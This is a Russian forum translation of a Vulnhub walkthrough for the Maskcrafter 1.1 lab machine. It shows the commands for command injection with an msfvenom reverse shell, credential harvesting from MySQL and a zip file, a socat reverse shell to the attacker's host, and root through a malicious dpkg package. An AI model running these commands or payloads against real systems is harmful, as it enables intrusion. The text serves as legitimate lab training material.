• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Maskcrafter: 1.1: Vulnhub Walkthrough

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Сегодня мы собираемся взломать эту уязвимую машину под названием Maskcrafter: 1.1. Она создан пользователем evdaez. Это простая задача типа Boot to root. Нам нужно получить права root на машине и прочитать флаг root, чтобы выполнить задание. В целом, это была промежуточная машина для взлома.

Загрузите машину отсюда (https://www.vulnhub.com/entry/maskcrafter-11,445/).

Методология пентеста

- Сетевое сканирование

* Netdiscover
* Nmap

- Перечисление
* Анонимный вход по FTP
* Перечисление FTP для подсказок
* Перечисления каталога /debug

- Эксплуатация
* Создание полезной нагрузки с использованием msfvenom
* Эксплуатация инжекции команд

- Постэксплуатация

* Перечисление базы данных MySQL
* Распаковка cred.zip
* Вход по SSH
* Перечисление разрешений Sudo
* Эксплуатация разрешений Sudo в пользовательском скрипте
* Перечисление разрешений Sudo
* Эксплуатация разрешений Sudo на socat

- Повышение привилегий
* Перечисление разрешений Sudo
* Создание установочного пакета deb с использованием fpm
* Установка вредоносного пакета с помощью dpkg

- Чтение рут флага

Сетевое сканирование


Чтобы атаковать любую машину, нам нужно найти IP-адрес машины. Это можно сделать с помощью команды netdiscover. Чтобы найти IP-адрес, нам нужно связать MAC-адрес машины, который можно получить из параметра конфигурации виртуальной машины.
IP-адрес устройства был 192.168.1.110.

1.png


После сканирования netdiscover нам потребуется просканировать Nmap, чтобы получить информацию о службе, запущенной на виртуальной машине. Агрессивное сканирование Nmap показывает, что сть 5 служб: FTP(21), SSH(22), HTTP(80), RPC(111), NFS(2049).

nmap -A 192.168.1.110

2.png


Перечисление

Начнем этап перечисления с FTP-сервиса. Из сканирования Nmap ясно, что FTP разрешает анонимный вход. Мы попали внутрь, используя это. Мы получили содержимое и нашли каталог pub. В каталогах pub мы находим 3 файла. Файл NOTES.txt, zip-файл с именем cred.zip и файл php с именем rce. Довольно удобно. Давайте загрузим все файлы в нашу локальную систему, чтобы изучить их подробнее.

Bash:
ftp 192.168.1.110
Anonymous
ls
cd pub
ls
get NOTES.txt
get cred.zip
get rce.php

3.png


Сначала давайте проверим файл NOTES.txt. Он говорит, что существует веб-каталог с именем /debug. Он может содержать надежный пароль. Это делает невозможным использование брутфорса. Кроме того, имя пользователя - это admin, подтвержденный в примечании.

Bash:
cat NOTES.txt

4.png


Мы пошли взглянуть в каталог debug. Нас встретила панель входа в систему. Мы знали, что имя пользователя — admin. Мы также попробовали admin в качестве пароля. И мы внутри. Это не казалось таким уж сложным. Она содержит 3 команды, которые можно выбрать и выполнить.


5.png

Мы используем BurpSuite для захвата запроса и анализа того, как команды отправляются команде для выполнения. Мы видим, что это простой параметр с командой в виде открытого текста.

6.png


Эксплуатация

Это означало, что мы можем создать полезную нагрузку, используя msfvenom в формате Raw, и использовать ее, чтобы использовать ее для получения сеанса.

Bash:
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.112 lport=1234 R

7.png


Мы скопировали исходный код полезной нагрузки и заменили команду ifconfig в захваченном запросе в Burp Suite, как показано на изображении ниже:

8.png


Перед тем, как перенаправить запрос в приложение, мы запускаем прослушиватель netcat на указанном порту из msfvenom, то есть 1234. После этого мы пересылаем запрос и видим, что у нас есть сеанс на целевой машине. Мы используем однострочнЫй сценарий python для преобразования оболочки в оболочку TTY. У нас есть оболочка пользователя www-data.

Bash:
nc -lvp 1234
id
python -c 'import pty; pty.spawn("/bin/bash")'
id

Пост-Эксплуатация

Мы начинаем перечисление с каталога /var/www/. У нас есть каталог debug, о котором упоминалось ранее. Мы видим, что он содержит файл php с именем db.php. Мы открываем его, чтобы найти набор учетных данных для базы данных.

Bash:
ls
cat db.php

10.png


Затем мы подключаемся к базе данных, используя этот набор учетных данных. После подключения мы смотрим список баз данных. Среди баз только mydatabase показалась интересной. Мы заешли в нем, чтобы найти 2 таблицы по именам creds и login. Сначала мы перечислили все содержимое таблицы creds, чтобы найти zip-пароль cred12345!!

Bash:
mysql -u web -p
P@ssw0rdweb
show databases;
use mydatabase;
show tables;
select * from creds;

11.png


Мы вернулись на нашу локальную машину и использовали только что найденные учетные данные, чтобы разархивировать полученный ранее файл cred.zip. В нем был файл cred.txt. Он считывает другой набор учетных данных, как показано на изображении ниже.

Bash:
unzip cred.zip
cat cred.txt

12.png


Мы используем этот набор учетных данных для входа в систему как SSH.

Username: userx
Password: thisismypasswordforuserx2020

После входа в систему на целевой машине через SSH мы использовали команду Sudo -l для вывода списка всех двоичных файлов, у которых есть разрешение на запуск с повышенными привилегиями. Мы нашли скрипт с названием whatsmyid.sh. Его может выполнить пользователь evdaeez. Открываем файл в редакторе nano.

Bash:
ssh userx@192.168.1.110
sudo -l

13.png


Мы редактируем его, чтобы создать оболочку bash. Это так же просто, как написать в скрипте / bin / bash.

#!bin/bash
/bin/bash

14.png


Мы попытались выполнить скрипт с помощью команды sudo с параметром u. Мы видим, что у нас есть оболочка от evdaez. Мы снова запускаем команду sudo -l, чтобы проверить наличие других двоичных файлов, которые могут привести нас к root. Мы видим, что socat имеет разрешение для пользователя resercherx. Давайте перейдем к пользователю resercherx, воспользовавшись этим разрешением на socat. Для этого у нас есть однострочный скрипт, который выполняет socat. Требуется удаленный хост и порт. Сначала мы определяем эти переменные в сеансе. Мы определяем переменную RHOST с локальным IP-адресом нашей Kali Linux или машины злоумышленника. Затем мы определяем переменную RPORT со случайным номером порта, например 12345. Затем мы выполним socat как пользователь resercherx и переменные, которые мы только что объявили.

Bash:
sudo -u evdaez /scripts/whatsmyid.sh
sudo -l
RHOSTS=192.168.1.112
RPORT=12345
sudo -u resercherx socat tcp-connection:$RHOST:$RPORT exec:/bin/sh.pty,stderr,setsid,sigint,sane

15.png


Перед выполнением вышеуказанной команды мы запускаем прослушиватель socat для захвата сеанса, который может быть сгенерирован с целевой машины. Как только одна строка будет выполнена, мы получим сеанс на нашей локальной машине. Затем мы конвертируем эту оболочку в оболочку TTY с помощью скрипта python. Мы снова запустили команду sudo -l, чтобы проверить двоичные файлы и их разрешения. На этот раз у нас есть разрешения sudo для dpkg. Нам нужно эксплуатировать эту уязвимость, чтобы получить root-доступ к машине.

Bash:
socat file:'tty',raw,echo=0 tcp-listen:12345
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l

16.png


Повышение привилегий

Dpkg используется для установки пакетов и управления ими. Итак, чтобы получить оболочку корневого уровня от dpkg, нам нужно предоставить ей пакет для установки. Это будет злонамеренный вид, который может дать нам шелл. Мы добираемся до нашей локальной машины, чтобы выполнить эту задачу. Мы ищем dpkg на сайте GTFOBINS и найдем удобный способ поднять привилегии с помощью dpkg. Нам нужно создать пакет с помощью fpm, а затем, когда он будет установлен с помощью dpkg, он предоставит нам рут шелл оболочку. Сначала мы определяем переменную TF с помощью команды mktemp, которая при выполнении создает временный каталог. Затем мы вводим команду вызова оболочки в файл оболочки в TF. Наконец, используя fpm, мы поместили содержимое TF в пакет. Полученный пакет называется x_1.0_all.deb. Мы запустили скрипт python, чтобы создать HTTP-сервер и передать этот файл deb на целевой компьютер.

Bash:
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
ls
python -m SimpleHTTPServer

17.png


Поскольку у нас нет разрешений на запись в любом месте приложения, мы вошли во временный каталог и загрузили файл deb с помощью команды wget. Теперь все, что осталось, это использовать dpkg с sudo для установки вредоносного файла deb, и у нас есть рут шелл.
Подтверждаем это с помощью команды id. Затем мы видим, что у нас есть рут флаг.

Bash:
cd /tmp
wget http://192.168.1.112:8000/s_1.0_all.deb
sudo dpkg -i x_1.0_all.deb
id
cd /root
ls
cat root.txt

18.png


Источник https://www.hackingarticles.in/maskcrafter-1-1-vulnhub-walkthrough/
Автор перевода: yashechka
Переведено специально для https://xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх